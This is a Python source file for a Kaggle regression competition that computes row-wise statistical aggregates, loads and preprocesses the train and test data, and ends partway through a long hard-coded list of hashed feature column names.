agg_df.at[index, '{}_non_zero_skewness'.format(prefix)] = \
skew(non_zero_values)
agg_df.at[index, '{}_non_zero_kurtosis'.format(prefix)] = \
kurtosis(non_zero_values)
agg_df.at[index, '{}non_zero_q1'.format(prefix)] = \
np.percentile(non_zero_values, q=25)
agg_df.at[index, '{}non_zero_q3'.format(prefix)] = \
np.percentile(non_zero_values, q=75)
agg_df.at[index, '{}non_zero_log_mean'.format(prefix)] = \
np.log1p(non_zero_values).mean()
agg_df.at[index, '{}non_zero_log_max'.format(prefix)] = \
np.log1p(non_zero_values).max()
agg_df.at[index, '{}non_zero_log_min'.format(prefix)] = \
np.log1p(non_zero_values).min()
agg_df.at[index, '{}non_zero_log_std'.format(prefix)] = \
np.log1p(np.std(non_zero_values))
agg_df.at[index, '{}non_zero_log_sum'.format(prefix)] = \
np.log1p(non_zero_values).sum()
agg_df.at[index, '{}non_zero_log_median'.format(prefix)] = \
np.median(np.log1p(non_zero_values))
agg_df.at[index, '{}non_zero_log_q1'.format(prefix)] = \
np.percentile(np.log1p(non_zero_values), q=25)
agg_df.at[index, '{}non_zero_log_q3'.format(prefix)] = \
np.percentile(np.log1p(non_zero_values), q=75)
agg_df.at[index, '{}non_zero_log_gmean'.format(prefix)] = \
geo_mean_overflow(np.log1p(non_zero_values))
agg_df.at[index, '{}non_zero_log_skewness'.format(prefix)] = \
skew(np.log1p(non_zero_values))
agg_df.at[index, '{}non_zero_log_kurtosis'.format(prefix)] = \
kurtosis(np.log1p(non_zero_values))
agg_df.at[index, '{}non_zero_log_EMA25'.format(prefix)] = \
compute_EMA(np.log1p(non_zero_values), alpha=0.2)
agg_df.at[index, '{}non_zero_EMA25'.format(prefix)] = \
compute_EMA(non_zero_values, alpha=0.2)
# agg_df.at[index, '{}non_zero_EMA50'.format(prefix)] = \
# compute_EMA(non_zero_values, alpha=0.5)
# agg_df.at[index, '{}non_zero_EMA75'.format(prefix)] = \
# compute_EMA(non_zero_values, alpha=0.75)
for k in [5, 10]:
agg_df.at[index, '{}_{}first_non_zero_mean'.format(
prefix, k)] = non_zero_values[:k + 1].mean()
agg_df.at[index, '{}_{}first_non_zero_max'.format(
prefix, k)] = non_zero_values[:k + 1].max()
agg_df.at[index, '{}_{}first_non_zero_min'.format(
prefix, k)] = non_zero_values[:k + 1].min()
agg_df.at[index, '{}_{}first_non_zero_std'.format(
prefix, k)] = np.std(non_zero_values[:k + 1])
agg_df.at[index, '{}non_zero_median'.format(prefix, k)] = \
np.median(non_zero_values[:k + 1])
agg_df.at[index, '{}_{}first_non_zero_gmean'.format(prefix, k)] = \
geo_mean_overflow(non_zero_values[:k + 1])
agg_df.at[index, '{}_{}first_non_zero_skewness'.format(prefix, k)] = \
skew(non_zero_values[:k + 1])
agg_df.at[index, '{}_{}first_non_zero_kurtosis'.format(prefix, k)] = \
kurtosis(non_zero_values[:k + 1])
agg_df.at[index, '{}_{}first_non_zero_q1'.format(prefix, k)] = \
np.percentile(non_zero_values[:k + 1], q=25)
agg_df.at[index, '{}_{}first_non_zero_q3'.format(prefix, k)] = \
np.percentile(non_zero_values[:k + 1], q=75)
agg_df.at[index, '{}_{}first_non_zero_log_mean'.format(prefix, k)] = \
np.log1p(non_zero_values[:k + 1]).mean()
agg_df.at[index, '{}_{}first_non_zero_log_max'.format(prefix, k)] = \
np.log1p(non_zero_values[:k + 1]).max()
agg_df.at[index, '{}_{}first_non_zero_log_min'.format(prefix, k)] = \
np.log1p(non_zero_values[:k + 1]).min()
agg_df.at[index, '{}_{}first_non_zero_log_std'.format(prefix, k)] = \
np.log1p(np.std(non_zero_values[:k + 1]))
agg_df.at[index, '{}_{}first_non_zero_log_sum'.format(prefix, k)] = \
np.log1p(non_zero_values[:k + 1]).sum()
agg_df.at[index, '{}_{}first_non_zero_log_median'.format(prefix, k)] = \
np.median(np.log1p(non_zero_values[:k + 1]))
agg_df.at[index, '{}_{}first_non_zero_log_q1'.format(prefix, k)] = \
np.percentile(np.log1p(non_zero_values[:k + 1]), q=25)
agg_df.at[index, '{}_{}first_non_zero_log_q3'.format(prefix, k)] = \
np.percentile(np.log1p(non_zero_values[:k + 1]), q=75)
agg_df.at[index, '{}_{}first_non_zero_log_gmean'.format(prefix, k)] = \
geo_mean_overflow(np.log1p(non_zero_values[:k + 1]))
agg_df.at[index, '{}_{}first_non_zero_log_skewness'.format(prefix, k)] = \
skew(np.log1p(non_zero_values[:k + 1]))
agg_df.at[index, '{}_{}first_non_zero_log_kurtosis'.format(prefix, k)] = \
kurtosis(np.log1p(non_zero_values[:k + 1]))
# agg_df.at[index, '{}_{}non_zero_EMA25'.format(prefix, k)] = \
# compute_EMA(non_zero_values[:k + 1], alpha=0.25)
# agg_df.at[index, '{}_{}non_zero_EMA50'.format(prefix, k)] = \
# compute_EMA(non_zero_values[:k + 1], alpha=0.50)
# agg_df.at[index, '{}_{}non_zero_EMA75'.format(prefix, k)] = \
# compute_EMA(non_zero_values[:k + 1], alpha=0.75)
return agg_df
def compute_row_aggregates(df, prefix=''):
'''Add series of aggreagates to dataset rowise'''
agg_df = pd.DataFrame(index=df.index)
for index, row in df.iterrows():
non_zero_values = row.iloc[row.nonzero()]
if non_zero_values.empty:
continue
non_zero_values = non_zero_values.values
agg_df.at[index, '{}_non_zero_mean'.format(
prefix)] = non_zero_values.mean()
agg_df.at[index, '{}_non_zero_max'.format(
prefix)] = non_zero_values.max()
agg_df.at[index, '{}_non_zero_min'.format(
prefix)] = non_zero_values.min()
agg_df.at[index, '{}_non_zero_std'.format(
prefix)] = np.std(non_zero_values)
agg_df.at[index, '{}_non_zero_sum'.format(
prefix)] = non_zero_values.sum()
agg_df.at[index, '{}non_zero_median'.format(prefix)] = \
np.median(non_zero_values)
agg_df.at[index, '{}_non_zero_gmean'.format(prefix)] = \
geo_mean_overflow(non_zero_values)
agg_df.at[index, '{}_non_zero_skewness'.format(prefix)] = \
skew(non_zero_values)
agg_df.at[index, '{}_non_zero_kurtosis'.format(prefix)] = \
kurtosis(non_zero_values)
agg_df.at[index, '{}non_zero_q1'.format(prefix)] = \
np.percentile(non_zero_values, q=25)
agg_df.at[index, '{}non_zero_q3'.format(prefix)] = \
np.percentile(non_zero_values, q=75)
mode_ = mode(np.around(non_zero_values, decimals=4))
agg_df.at[index, '{}_non_zero_mode'.format(prefix)] = mode_[
0] if mode_[1] > 1 else 0
agg_df.at[index, '{}_non_zero_mode_count'.format(prefix)] = mode_[1]
# LOG AGGREGATES
agg_df.at[index, '{}non_zero_log_mean'.format(prefix)] = \
np.log1p(non_zero_values).mean()
agg_df.at[index, '{}non_zero_log_max'.format(prefix)] = \
np.log1p(non_zero_values).max()
agg_df.at[index, '{}non_zero_log_min'.format(prefix)] = \
np.log1p(non_zero_values).min()
agg_df.at[index, '{}non_zero_log_std'.format(prefix)] = \
np.log1p(np.std(non_zero_values))
agg_df.at[index, '{}non_zero_log_sum'.format(prefix)] = \
np.log1p(non_zero_values).sum()
agg_df.at[index, '{}non_zero_log_median'.format(prefix)] = \
np.median(np.log1p(non_zero_values))
agg_df.at[index, '{}non_zero_log_q1'.format(prefix)] = \
np.percentile(np.log1p(non_zero_values), q=25)
agg_df.at[index, '{}non_zero_log_q3'.format(prefix)] = \
np.percentile(np.log1p(non_zero_values), q=75)
agg_df.at[index, '{}non_zero_log_gmean'.format(prefix)] = \
geo_mean_overflow(np.log1p(non_zero_values))
agg_df.at[index, '{}non_zero_log_skewness'.format(prefix)] = \
skew(np.log1p(non_zero_values))
agg_df.at[index, '{}non_zero_log_kurtosis'.format(prefix)] = \
kurtosis(np.log1p(non_zero_values))
agg_df.at[index, '{}_non_zero_count'.format(
prefix)] = np.count_nonzero(~np.isnan(non_zero_values))
agg_df.at[index, '{}_non_zero_fraction'.format(prefix)] = \
np.count_nonzero(~np.isnan(non_zero_values)) / \
np.count_nonzero(~np.isnan(row))
return agg_df
def find_fillers(df):
'''Find the filler values in cols'''
u, c = np.unique(df.loc['6726fff18', :].values, return_counts=True)
arg = np.argsort(c)[::-1]
fillers = u[arg]
return fillers
class KaggleDataset():
'''Class used to load Kaggle's official datasets'''
def __init__(self, train_path, test_path=None, join_dfs=False,
verbose=True):
self.train_path = train_path
self.test_path = test_path
self.verbose = verbose
# Default settings, to be overidden if required
self.normalize = False
self.use_aggregates = False
self.reduce_dim_nb = 0
self.reduce_dim_method = 'svd'
self.scaler = MaxAbsScaler(copy=False)
# Load datasets
self.train_df = load_df_from_path(self.train_path)
# self.train_df[self.train_df == 1563411.76] = 0
if test_path is not None:
self.test_df = load_df_from_path(self.test_path)
else:
self.test_df = None
# If joint_dfs, all dfs are joint in a single joint_df
if join_dfs:
self.joint_df = pd.concat([self.train_df, self.test_df], axis=0)
# Create aggregates dfs
self.train_agg = pd.DataFrame(index=self.train_df.index)
if test_path is not None:
self.test_agg = pd.DataFrame(index=self.test_df.index)
def remove_fillers_from_data(self, dataset='both', n_fillers=47):
'''Substitute filler values in dataset for 0'''
fillers = find_fillers(self.train_df)[:n_fillers]
print(fillers)
target = self.train_df['target']
for filler in fillers:
if dataset == 'test' or dataset == 'both':
self.test_df[self.test_df == filler] = 0
if dataset == 'train' or dataset == 'both':
self.train_df[self.train_df == filler] = 0
self.train_df['target'] = target
def get_train_data(self, logloss=True, round_targets=False,
normalize=False, n_components=None,
reduce_dim_nb=0, use_aggregates=True,
get_leaky_data=None, reduce_dim_method='svd'):
'''Convert train_df to train array'''
# Save settings to proccess test data later on
self.normalize = normalize
self.reduce_dim_nb = reduce_dim_nb
self.reduce_dim_method = reduce_dim_method
self.use_aggregates = use_aggregates
# Get trainning data and labels from dataframe
x = self.train_df.drop(["target"], axis=1).values
if logloss:
y = np.log1p(self.train_df["target"].values)
else:
y = self.train_df["target"].values
if round_targets:
y = np.around(y,
decimals=round_targets)
# Preprocess if required
if normalize:
x = self.normalize_data(x, fit=True, verbose=self.verbose)
if reduce_dim_nb or n_components is not None:
x = self.reduce_dimensionality('train',
n_components=n_components,
red_num=reduce_dim_nb,
method=reduce_dim_method,
verbose=self.verbose)
# Compute aggregates if required
if use_aggregates:
x = np.concatenate([x, self.train_agg.values], axis=-1)
# Get leaky rows for training
if get_leaky_data is not None:
x_lk, y_lk = self.get_validation_set_from_leaky_test(
get_leaky_data, logloss=logloss)
x = np.concatenate([x, x_lk], axis=0)
y = np.concatenate([y, y_lk], axis=0)
return x, y
def get_test_data(self):
'''Convert test_df to array using the same preprocess
as trainning data'''
x = self.test_df.values
# Preprocess if required
if self.normalize:
x = self.normalize_data(x, fit=False, verbose=self.verbose)
if self.reduce_dim_nb:
x = self.reduce_dimensionality('test', self.reduce_dim_nb,
method=self.reduce_dim_method,
fit=False,
verbose=self.verbose)
# Compute aggregates if required
if self.use_aggregates:
x = np.concatenate([x, self.test_agg.values], axis=-1)
return x
def get_aggregates_as_data(self, dataset, logloss=True,
round_targets=False):
'''Get aggregates as np data'''
if dataset == 'train':
x = self.train_agg.values
if logloss:
y = np.log1p(self.train_df["target"].values)
else:
y = self.train_df["target"].values
if round_targets:
y = np.around(y,
decimals=round_targets)
return x, y
elif dataset == 'test':
x = self.test_agg.values
return x
def remove_constant_features(self, verbose=True):
'''Remove features that are constant for all train set entries'''
col_list = []
count = 0
for col in self.train_df.columns:
if col != 'ID' and col != 'target':
if self.train_df[col].std() == 0:
col_list.append(col)
count += 1
# Remove feature in both train and test sets
self.train_df.drop(col_list, axis=1, inplace=True)
if self.test_df is not None:
self.test_df.drop(col_list, axis=1, inplace=True)
if verbose:
print('{} constant features removed from datasets'.format(count))
def remove_duplicated_features(self, verbose=True):
'''Remove features that have duplicated values'''
colsToRemove = []
columns = self.train_df.columns
for i in range(len(columns) - 1):
v = self.train_df[columns[i]].values
for j in range(i + 1, len(columns)):
if np.array_equal(v, self.train_df[columns[j]].values):
colsToRemove.append(columns[j])
# Remove feature in both train and test sets
self.train_df.drop(colsToRemove, axis=1, inplace=True)
if self.test_df is not None:
self.test_df.drop(colsToRemove, axis=1, inplace=True)
if verbose:
print('{} duplicated features removed from datasets'.format(
len(colsToRemove)))
def remove_different_distribution_features(self,
pvalue_threshold=0.01,
stat_threshold=0.2,
verbose=True):
'''Remove features that have different distribuition in
train and test sets'''
diff_cols = []
for col in self.train_df.drop(["target"], axis=1).columns:
statistic, pvalue = ks_2samp(
self.train_df[col].values, self.test_df[col].values)
if pvalue <= pvalue_threshold and \
np.abs(statistic) > stat_threshold:
diff_cols.append(col)
for col in diff_cols:
if col in self.train_df.columns:
self.train_df.drop(col, axis=1, inplace=True)
self.test_df.drop(col, axis=1, inplace=True)
if verbose:
print('{} features removed.'.format(len(diff_cols)))
def keep_only_selected_features(self, dataset='both', return_only=False):
'''Remove all columns except for the hand picked ones'''
features = ['f190486d6', '58e2e02e6', 'eeb9cd3aa', '9fd594eec', '6eef030c1', '15ace8c9f', 'fb0f5dbfe', '58e056e12', '20aa07010', '024c577b9', 'd6bb78916', 'b43a7cfd5', '58232a6fb', '1702b5bf0', '324921c7b', '62e59a501', '2ec5b290f', '241f0f867', 'fb49e4212', '66ace2992', 'f74e8f13d', '5c6487af1', '963a49cdc', '26fc93eb7', '1931ccfdd', '703885424', '70feb1494', '491b9ee45', '23310aa6f', 'e176a204a', '6619d81fc', '1db387535', 'fc99f9426', '91f701ba2', '0572565c2', '190db8488', 'adb64ff71', 'c47340d97', 'c5a231d81', '0ff32eb98', '06148867b', '4ec3bfda8', 'a9ca6c2f4', 'bb0408d98', '1010d7174', 'f8a437c00', '74a7b9e4a', 'cfd55f2b6', '632fed345', '518b5da24', '60a5b79e4', '3fa0b1c53', 'e769ee40d', '9f5f58e61', '83e3e2e60', '77fa93749', '3c9db4778', '42ed6824a', '761b8e0ec', 'ee7fb1067', '71f5ab59f', '177993dc6', '07df9f30c', 'b1c5346c4', '9a5cd5171', 'b5df42e10', 'c91a4f722', 'd93058147', '20a325694', 'f5e0f4a16', '5edd220bc', 'c901e7df1', 'b02dfb243', 'bca395b73', '1791b43b0', 'f04f0582d', 'e585cbf20', '03055cc36', 'd7f15a3ad', 'ccd9fc164', '0d7692145', '62071f7bc', 'ab515bdeb', 'c30c6c467', 'eab76d815', 'b6ee6dae6', '49063a8ed', '4cb2946ce', '6c27de664', '772288e75', 'afd87035a', '44f2f419e', '754ace754', 'e803a2db0', 'c70f77ef2', '65119177e', '3a66c353a', '4c7768bff', '9e4765450', '24141fd90', 'dc8b7d0a8', 'ba499c6d9', '8b1379b36', '5a3e3608f', '3be3c049e', 'a0a3c0f1b', '4d2ca4d52', '457bd191d', '6620268ab', '9ad654461', '1a1962b67', '7f55b577c', '989d6e0f5', 'bc937f79a', 'e059a8594', '3b74ac37b', '555265925', 'aa37f9855', '32c8b9100', 'e71a0278c', '0f8d7b98e', 'c30ff7f31', 'ac0e2ebd0', '24b2da056', 'bd308fe52', '476d95ef1', '202acf9bd', 'dbc0c19ec', '06be6c2bb', 'd8296080a', 'f977e99dc', '2191d0a24', '7db1be063', '1bc285a83', '9a3a1d59b', 'c4d657c5b', 'a029667de', '21bd61954', '16bf5a9a2', '0e0f8504b', '5910a3154', 'ba852cc7a', '685059fcd', '21d6a4979', '78947b2ad', '1435ecf6b', '3839f8553', 'e9b5b8919', 'fa1dd6e8c', '632586103', 'f016fd549', 'c25ea08ba', '7da54106c', 'b612f9b7e', 'e7c0a50e8', '29181e29a', '395dbfdac', '1beb0ce65', '04dc93c58', '733b3dc47', '1847c8140', '4adae02ea', '06f44eb79', '63dfd4552', '2a1f6c7f9', 'b3655056c', '7a5460b56', '8909db7d5', 'b0e2acd8e', '7cb53a29a', '5d5c5ce6d', 'a5874086d', '281c556a6', '04fe69e6a', 'e421c414e', '87e6b35f2', '1de239e78', 'c65451871', 'b136976cc', 'baa676f41', '82f194d54', 'f3b9c0b95', '2a83c3267', '802ee804e', '99b88d0fd', 'a257e4bb9', '741684fb0', 'fae0ce474', '16d7bff2b', '0d6d7ec0b', 'bdadd6c34', 'b6623bacf', 'a77b4afa4', '03490ef8c', 'f0aec6c6b', '7b6e769e4', 'ce6349807', '1602cb35d', '279d380ce', '63895c382', '18cad608c', '05f1b68b8', '9e0c57b34', '414b74eaa', '3b6f67b0e', '372daeab0', 'ec827621a', '44d132265', '850d3a6f5', '440d789c5', 'e9c45d66f', '615cc4c17', 'ca04a07ca', '4685cc47b', '6cf9184bb', '3dc46e323', '0106dd950', '3855aef1e', 'c9eda7d9c', 'ac308c9a3', '964cd68bc', 'f23b7530c', '7250feb72', '6809065b9', 'c7fd9abc6', '06a1c3b47', '39896d3dd', '10f17bd3e', '6984f4045', 'ed8ff54b5', '42b407f0d', '5509e2e98', 'c593d73e8', 'd3245937e', 'cbeddb751', '0f81cc1d2', '22b3971f5', 'ff3ebf76b', '76a75bd91', '258412544', '1ad24da13', '8c5025c23', 'f52a82e7f', 'c0b22b847', 'd75793f21', '4cffe31c7', '6c2d09fb1', 'fb42abc0d', '206ba1242', '62f61f246', '1389b944a', 'd15e80536', 'fa5044e9e', 'a0b0a7dbf', '1ff6be905', '4e06c5c6d', '1835531cd', '68b647452', 'c108dbb04', '58e8e2c82', 'f3bfa96d5', 'f2db09ac3', '4e8196700', '8cd9be80e', '83fc7f74c', 'dbc48d37c', '2028e022d', '17e160597', 'eb8cbd733', 'addb3f3eb', '460744630', '9108ee25c', 'b7950e538', 'a7da4f282', '7f0d863ba', 'b7492e4eb', '24c41bd80', 'fd7b0fc29', '621f71db3', '26f222d6d', '1d9078f84', '64e483341', 'a75d400b8', '4fe8154c8', '29ab304b9', '20604ed8f', 'bd8f989f1', 'c1b9f4e76', '4824c1e90', '4ead853dc', 'b599b0064', 'd26279f1a', '58ed8fb53', 'ff65215db', '402bb0761', '74d7998d4', 'c7775aabf', '9884166a7', 'beb7f98fd', 'fd99c18b5', 'd83a2b684', '18c35d2ea', '0c8063d63', '400e9303d', 'c976a87ad', '8a088af55', '5f341a818', '5dca793da', 'db147ffca', '762cbd0ab', 'fb5a3097e', '8c0a1fa32', '01005e5de', '47cd6e6e4', 'f58fb412c', 'a1db86e3b', '50e4f96cf', 'f514fdb2e', '7a7da3079', 'bb1113dbb', '20868afc1', 'a46587cda', 'acdef5318', 'a72fcabd8', '21216a0a8', 'dd16bb1ff', '3b8208d28', 'a8c320153', '4a6f8b2c1', 'ac2392a17', '08565b519', '6035df6d8', '4b2316bd5', 'bc3f77679', '51ebff825', '43727fb35', 'c0d363088', 'fd1187d68', '207871d87', '7e0fd6d92', 'f4e243e21', '037a54e89', 'cfa24e4be', 'd7f1f9e52', '6760927a0', '0d8f892fe', '09e395f05', 'bcc18dd40', '0f5fb7fe7', 'f10717d56', '717039eef', '41fb39de4', '965fa6747', '75e55b7a9', 'ff08cfbbe', '9e88cfd02', 'df3ac443c', '7acda93e6', '62e587225', 'd313c892b', '2135fa05a', 'e8a3423d6', '90a438099', '7ad6b38bd', '60e45b5ee', '2b9b1b4e2', 'd6c82cd68', '923114217', 'b361f589e', '04be96845', 'ee0b53f05', '21467a773', '47665e3ce', 'a6229abfb', '9666bfe76', '7dcc40cda', '17be6c4e7', 'a89ab46bb', '9653c119c', 'cc01687d0', '60e9cc05b', 'ffcec956f', '51c250e53', '7344de401', 'a15b2f707', 'a8e607456', 'dbb8e3055', '2a933bcb8', 'b77bc4dac', '58d9f565a', '17068424d', '7453eb289', '027a2206a', '343042ed9', 'c8fb3c2d8', '29eddc376', '1c873e4a6', '588106548', '282cfe2ad', '358dc07d0', '266525925', '4b6dfc880', '2cff4bf0c', 'a3382e205', '6488c8200', '547d3135b', 'b46191036', '453128993', '2599a7eb7', '2fc60d4d9', '009319104', 'de14e7687', 'aa31dd768', '2b54cddfd', 'a67d02050', '37aab1168', '939cc02f5', '31f72667c', '6f951302c', '54723be01', '4681de4fd', '8bd53906a', '435f27009', 'f82167572', 'd428161d9', '9015ac21d', 'ec4dc7883', '22c7b00ef', 'd4cc42c3d', '1351bf96e', '1e8801477', 'b7d59d3b5', 'a459b5f7d', '580f5ff06', '39b3c553a', '1eec37deb', '692c44993', 'ce8ce671e', '88ef1d9a8', 'bf042d928', '2d60e2f7a', '11ad148bd', '54d3e247f', 'c25438f10', 'e6efe84eb', '964037597', '0196d5172', '47a8de42e', '6f460d92f', '0656586a4', '22eb11620', 'c3825b569', '6aa919e2e', '086328cc6', '9a33c5c8a', 'f9c3438ef', 'c09edaf01', '85da130e3', '2f09a1edb', '76d34bbee', '04466547a', '3b52c73f5', '1cfb3f891', '704d68890', 'f45dd927f', 'aba01a001', 'c9160c30b', '6a34d32d6', '3e3438f04', '038cca913', '504c22218', '56c679323', '002d634dc', '1938873fd', 'd37030d36', '162989a6d', 'e4dbe4822', 'ad13147bd', '4f45e06b3', 'ba480f343', '32313055b', '1cec80910', 'd5de50af2', 'd08c4204c', 'dbf75ea9f', 'b93c33953', '425c08bf3', '015c3e354', '26419fa97', '0b9a18ebf', 'bbd7e6282', '6fec5a793', 'e4eac6fc5', '99ea04b86', '24292d615', '72ad5471c', '2f489369f', '35d9497eb', '42d321127', '48aa6d627', '94516b63e', '55d7eb6d2', '8dbd95b8d', '1d2df346e', '181e91b1c', '4a29bc92b', '0f14ab429', '22b3a9853', 'defcc2c50', '6a9e2b09d', '42b795e64', 'b65627fab', '7af2b8f44', '1ce5f7bde', 'dd2fc85d7', '013127235', '916d17652', 'a697e9248', '24addf864', 'a63aaf7cc', '3391c0af1', 'd8e951a15', '320c3880a', '37bd241bb', 'ef6fab1bc', '39d765b49', 'c0f2800fc', '9401c82a9', '6f9d256a9', 'f967f827b', '798a8e92e', '1e991f09b', '77854931e', '0024cd760', 'ab7b12083', '7b8ac394f', 'd8aa77bcc', '54b3d6afc', '4c6a1accd', '0a7ef2f9b', 'dc3b4460b', '83ce5d80d', '7e293fbaf', '8d468092c', 'dc0118d47', '9f8df01bd', '3f02111a8', 'bf0195c11', '28bc37378', '05410a84f', 'ecdc88e4b', '8d9263a24', '3391c0af1', 'd8e951a15', '320c3880a', '37bd241bb', 'ef6fab1bc', '39d765b49', 'c0f2800fc', '9401c82a9', '6f9d256a9', 'f967f827b', '798a8e92e', '1e991f09b', '77854931e', '0024cd760', 'ab7b12083', '7b8ac394f', 'd8aa77bcc', '54b3d6afc', '4c6a1accd', '0a7ef2f9b', 'dc3b4460b', '83ce5d80d', '7e293fbaf', '8d468092c', 'dc0118d47', '9f8df01bd', '3f02111a8', 'bf0195c11', '28bc37378', '05410a84f', 'ecdc88e4b', '8d9263a24', 'e234cdc9b', '380d54fad', '7f17e0b2a', '03e726456', '8f66157e3', '556fb6bc0', '2d2114d9b', '215ffb087', '3b843ae7e', 'c8438b12d', 'd1b9fc443', '19a45192a', '63509764f', '6b6cd5719', 'b219e3635', '4b1d463d7', '4baa9ff99', 'b0868a049', '3e3ea106e', '043e4971a', 'a2e5adf89', '25e2bcb45', '3ac0589c3', '413bbe772', 'e23508558', 'c1543c985', '2dfea2ff3', '9dcdc2e63', '1f1f641f1', '75795ea0a', 'dff08f7d5', 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'052f67cfa', 'c03c8799c', 'a3ef40228', 'e0ceabad4', '3c27b0b28', 'd833db6e1', '9303c6806', '36d35623e', '208308a47', '2f587f6a4', '23099cfb2', 'df03d1653', '7fd35c77a', '133e6f674', '643ef6977', '9539d34c8', '9d2835f75', 'acc744336', 'c8a66413e', 'b80f3eab2', '437ff8730', 'e289bbcc3', 'dd48ed481', '90db65912', '9eab942f8', '753e0a307', '5e1085022', 'a4529b4ef', 'c9c6b51aa', '1346d1df0', '0a9735aba', '64226e620', 'de5e74ae7', 'd00f7d768', 'b4e4a184a', 'ef139d7ac', 'a6f5de07f', 'cb9333bd7', '4dfa4bc61', '5089bf842', '6f44294b2', 'ae1bd05ee', 'f807767c5', '067bcb836', 'd1cf68555', 'e5499c39d', '0bb06f4b5', 'b6336ff10', 'a84bafe34', '3e37bffde', '093b92da5', 'df838756c', '2cb73ede7', '4dcf81d65', '61c1b7eb6', 'a9f61cf27', '1af4d24fa', 'e13b0c0aa', 'b9ba17eb6', '796c218e8', '37f57824c', 'd1e0f571b', 'f9e3b03b7', 'a3ef69ad5', 'e16a20511', '04b88be38', '99e779ee0', '9f7b782ac', '1dd7bca9f', '2eeadde2b', '6df033973', 'cdfc2b069', '031490e77', '5324862e4', '467bee277', 'a3fb07bfd', '64c6eb1cb', '8618bc1fd', '6b795a2bc', '956d228b9', '949ed0965', 'a4511cb0b', 'b64425521', '2e3c96323', '191e21b5f', 'bee629024', '1977eaf08', '5e645a169', '1d04efde3', '8675bec0b', '8337d1adc', 'e1c250dbf', '81e3fed66', '4fc9da4e3', '175891ff4', '0b2e88d2d', '006e72749', 'f29217d2f', 'f6240919f', '232ecc840', 'd4087a281', '398cdc105', '3b67e9641', '73eeb092f', '06283f348', 'd7db08081', '2585a26fe', 'da59aa67e', '638d0b2e0', 'afc08501b', 'd974e8584', '433d408b2', '0989e152f', '357784061', '2e22a32fd', '184166328', '81f4bc3d8', 'd9fbf30dd', '5d52b2d2b', '0895b9597', '422acfada', 'a1868e9ec', '98c05b5b4', '8ff5cf8c3', 'bf257a3bc', 'f86eabcb9', 'c77f6dbfe', '014574363', 'bf2b3327b', '74f15ad1c', '7d9979702', 'e20edfcb8', '842415efb', '300d6c1f1', '720f83290', '069a2c70b', '87a91f998', '611151826', '74507e97f', '504e4b156', 'baa95693d', 'cb4f34014', '5239ceb39', '81e02e0fa', 'dfdf4b580', 'fc9d04cd7', 'fe5d62533', 'bb6260a44', '08d1f69ef', 'b4ced4b7a', '98d90a1d1', 'b6d206324', '6456250f1', '96f5cf98a', 'f7c8c6ad3', 'cc73678bf', '5fb85905d', 'cb71f66af', '212e51bf6', 'd318bea95', 'b70c62d47', '11d86fa6a', '3988d0c5e', '42cf36d73', '9f494676e', '1c68ee044', 'a728310c8', '612bf9b47', '105233ed9', 'c18cc7d3d', 'f08c20722', 'ec5764030', '42fdff3a0', 'fa6e76901', '6e76d5df3', '1c486f8dd', '2daf6b624', '9562ce5c8', 'cbf236577', '8e1822aa3', 'fd9968f0d', 'ed1f680d4', '6bd9d9ae3', '896d1c52d', 'b41a9fc75', 'a60974604', '9d6b84f39', '5661462ee', '186b87c05', 'e5ac02d3c', '0c4bf4863', '1fba6a5d5', '4f2f6b0b3', 'cd8048913', 'e17f1f07c', '707f193d9', '8ca08456c', '3adf5e2b5', 'a60027bb4', 'e7071d5e3', 'c7ae29e66', '50780ec40', 'f8b733d3f', '8485abcab', '994b4c2ac', '6af8b2246', 'dd85a900c', 'ccb68477c', '715fa74a4', 'adadb9a96', '77eb013ca', 'f0317ca4f', '402b0d650', '7e78d546b', '2ad744c57', '47abb3cb4', '71ac2b961', '5b8c88c94', '293e2698e', '4bdeca0d2', '2ef8b7f4f', 'c380056bb', '2488e17f5', '20442bac4', '8e8736fc8', '8a4c53d3e', '62c547c8e', '86f13324d', 'da52febdb', '64e38e7a2', 'b0310a768', '0d866c3d7', '34a2f580b', '24bcc2f15', 'e1e8947d8', '05f11f48f', '8c8616b62', '79e0c374a', 'ad1466df8', 'f642213a6', 'f8405f8b9', '1ae0db9d5', '9dbb6b717', '0f7ae26ce', '81ec47b4c', 'ad4e33a4c', 'a78f85d49', '8de6fcbf1', '3ecc09859', 'f0317ca4f', '402b0d650', '7e78d546b', '2ad744c57', '47abb3cb4', '71ac2b961', '5b8c88c94', '293e2698e', '4bdeca0d2', '2ef8b7f4f', 'c380056bb', '2488e17f5', '20442bac4', '8e8736fc8', '8a4c53d3e', '62c547c8e', '86f13324d', 'da52febdb', '64e38e7a2', 'b0310a768', '0d866c3d7', '34a2f580b', '24bcc2f15', 'e1e8947d8', '05f11f48f', '8c8616b62', '79e0c374a', 'ad1466df8', 'f642213a6', 'f8405f8b9', '1ae0db9d5', '9dbb6b717', '0f7ae26ce', '81ec47b4c', 'ad4e33a4c', 'a78f85d49', '8de6fcbf1', '3ecc09859', 'd2ef684ed', '9e39c29d0', 'f1eeb56ae', '62ffce458', '497adaff8', 'ed1d5d137', 'faf7285a1', 'd83da5921', '0231f07ed', '7950f4c11', '051410e3d', '39e1796ab', '2e0148f29', '312832f30', '6f113540d', 'f3ee6ba3c', 'd9fc63fa1', '6a0b386ac', '5747a79a9', '64bf3a12a', 'c110ee2b7', '1bf37b3e2', 'fdd07cac1', '0872fe14d', 'ddef5ad30', '42088cf50', '3519bf4a4', 'a79b1f060', '97cc1b416', 'b2790ef54', '1a7de209c', '2a71f4027', 'f118f693a', '15e8a9331', '0c545307d', '363713112', '73e591019', '21af91e9b', '62a915028', '2ab5a56f5', 'a8ee55662', '316b978cd', 'f3cf9341c', 'fa11da6df', 'd47c58fe2', '0d5215715', '555f18bd3', '134ac90df', '716e7d74d', 'c00611668', '1bf8c2597', '1f6b2bafa', '174edf08a', 'f1851d155', '5bc7ab64f', 'a61aa00b0', 'b2e82c050', '26417dec4', '53a550111', '51707c671', 'e8d9394a0', 'cbbc9c431', '6b119d8ce', 'f296082ec', 'be2e15279', '698d05d29', '38e6f8d32', '93ca30057', '7af000ac2', '1fd0a1f2a', '41bc25fef', '0df1d7b9a', '88d29cfaf', '2b2b5187e', 'bf59c51c3', 'cfe749e26', 'ad207f7bb', '11114a47a', '341daa7d1', 'a8dd5cea5', '7b672b310', 'b88e5de84', 'fec5644cf', 'caa9883f6', '9437d8b64', '68811ba58', 'ef4b87773', 'ff558c2f2', '8d918c64f', '0b8e10df6', '2d6565ce2', '0fe78acfa', 'b75aa754d', '2ab9356a0', '4e86dd8f3', '348aedc21', 'd7568383a', '856856d94', '69900c0d1', '02c21443c', '5190d6dca', '20551fa5b', '79cc300c7', '8d8276242', 'da22ed2b8', '89cebceab', 'f171b61af', '3a07a8939', '129fe0263', 'e5b2d137a', 'aa7223176', 